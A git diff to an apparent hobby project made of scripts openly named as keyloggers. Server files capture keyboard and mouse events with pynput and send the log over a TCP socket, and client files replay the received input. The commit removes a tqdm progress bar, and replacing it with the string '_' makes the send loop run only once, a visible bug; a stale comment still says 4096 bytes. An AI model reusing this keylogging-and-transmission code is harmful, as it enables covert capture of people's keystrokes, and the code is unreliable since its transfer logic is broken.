diff --git a/Client/serversend - datalog.py b/Client/serversend - datalog.py index 2e43301..422c850 100644 --- a/Client/serversend - datalog.py +++ b/Client/serversend - datalog.py @@ -1,11 +1,11 @@ import socket import os -import tqdm + # device's IP address SERVER_HOST = "127.0.0.1" #(socket.gethostbyname(socket.gethostname())) SERVER_PORT = 5001 # receive 4096 bytes each time -BUFFER_SIZE = 4096 +BUFFER_SIZE = 128 SEPARATOR = "" # create the server socket # TCP socket @@ -31,7 +31,7 @@ filename = os.path.basename(filename) filesize = int(filesize) # start receiving the file from the socket # and writing to the file stream -progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) +progress = "_" #with open(filename, "wb") as f: while True: @@ -46,8 +46,6 @@ while True: f = open(filename, 'ab') f.write(bytes_read) print(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) f.close() # close the client socket diff --git a/Client/serversend - mirror - keyboardpress.py b/Client/serversend - mirror - keyboardpress.py index 2b774fb..81d19f8 100644 --- a/Client/serversend - mirror - keyboardpress.py +++ b/Client/serversend - mirror - keyboardpress.py @@ -1,6 +1,5 @@ import socket import os -import tqdm import pynput from pynput.keyboard import Key, Controller #press @@ -36,7 +35,7 @@ filename = os.path.basename(filename) filesize = int(filesize) # start receiving the file from the socket # and writing to the file stream -progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) +progress = "_" #with open(filename, "wb") as f: @@ -55,7 +54,6 @@ while True: f = open(filename, 'wb') f.write(bytes_read) # update the progress bar - progress.update(len(bytes_read)) f.close() g = open(filename, 'r') diff --git a/Client/serversend - mirror - keyboardrelease.py b/Client/serversend - mirror - keyboardrelease.py index 2e07d43..7e7cfc5 100644 --- a/Client/serversend - mirror - keyboardrelease.py +++ b/Client/serversend - mirror - keyboardrelease.py @@ -1,6 +1,5 @@ import socket import os -import tqdm import pynput from pynput.keyboard import Key, Controller #release @@ -36,7 +35,7 @@ filename = os.path.basename(filename) filesize = int(filesize) # start receiving the file from the socket # and writing to the file stream -progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) +progress = "_" #with open(filename, "wb") as f: @@ -54,8 +53,7 @@ while True: # write to the file the bytes we just received f = open(filename, 'wb') f.write(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) + f.close() g = open(filename, 'r') diff --git a/Client/serversend - mirror - mouse.py b/Client/serversend - mirror - mouse.py index 12eb574..cba6898 100644 --- a/Client/serversend - mirror - mouse.py +++ b/Client/serversend - mirror - mouse.py @@ -1,6 +1,5 @@ import socket import os -import tqdm import pynput from pynput.mouse import Button, Controller import time @@ -38,7 +37,7 @@ filename = os.path.basename(filename) filesize = int(filesize) # start receiving the file from the socket # and writing to the file stream -progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) +progress = "_" #with open(filename, "wb") as f: @@ -57,8 +56,6 @@ while True: # update the progress bar f = open(filename, 'wb') f.write(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) f.close() g = open(filename, 'r') diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py index e573895..ab19d43 100644 --- a/Server/KEY LOGGER - Mirror - KEYBOARD - release.py +++ b/Server/KEY LOGGER - Mirror - KEYBOARD - release.py @@ -1,6 +1,5 @@ import socket import os -import tqdm from tkinter import * from pynput import keyboard @@ -46,7 +45,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def sendfile(): # start sending the file - progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + progress = "_" with open(filename, "rb") as f: for _ in progress: # read the bytes from the file @@ -57,8 +56,6 @@ def sendfile(): # we use sendall to assure transimission in # busy networks s.sendall(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) # close the socket #s.close() diff --git a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py index d49bce3..ded6794 100644 --- a/Server/KEY LOGGER - Mirror - KEYBOARD- press.py +++ b/Server/KEY LOGGER - Mirror - KEYBOARD- press.py @@ -1,6 +1,5 @@ import socket import os -import tqdm from tkinter import * from pynput import keyboard @@ -45,7 +44,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def sendfile(): # start sending the file - progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + progress = "_" with open(filename, "rb") as f: for _ in progress: # read the bytes from the file @@ -56,8 +55,6 @@ def sendfile(): # we use sendall to assure transimission in # busy networks s.sendall(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) # close the socket #s.close() diff --git a/Server/KEY LOGGER - Mirror - MOUSE.py b/Server/KEY LOGGER - Mirror - MOUSE.py index 30804a9..4472459 100644 --- a/Server/KEY LOGGER - Mirror - MOUSE.py +++ b/Server/KEY LOGGER - Mirror - MOUSE.py @@ -1,6 +1,5 @@ import socket import os -import tqdm from pynput import keyboard from pynput.mouse import Button, Controller from pynput import mouse @@ -33,7 +32,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def sendfile(): # start sending the file - progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + progress = "_" with open(filename, "rb") as f: for _ in progress: # read the bytes from the file @@ -44,8 +43,6 @@ def sendfile(): # we use sendall to assure transimission in # busy networks s.sendall(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) # close the socket #s.close() diff --git a/Server/KEY LOGGER - Normal.py b/Server/KEY LOGGER - Normal.py index 7ef8e97..1c7a854 100644 --- a/Server/KEY LOGGER - Normal.py +++ b/Server/KEY LOGGER - Normal.py @@ -1,12 +1,11 @@ import socket import os -import tqdm from pynput import keyboard SEPARATOR = "" -BUFFER_SIZE = 4096 # send 4096 bytes each time step +BUFFER_SIZE = 128 # send 4096 bytes each time step # the ip address or hostname of the server, the receiver @@ -30,7 +29,7 @@ s.send(f"{filename}{SEPARATOR}{filesize}".encode()) def sendfile(): # start sending the file - progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) + progress = "_" with open(filename, "rb") as f: for _ in progress: # read the bytes from the file @@ -41,8 +40,6 @@ def sendfile(): # we use sendall to assure transimission in # busy networks s.sendall(bytes_read) - # update the progress bar - progress.update(len(bytes_read)) # close the socket #s.close()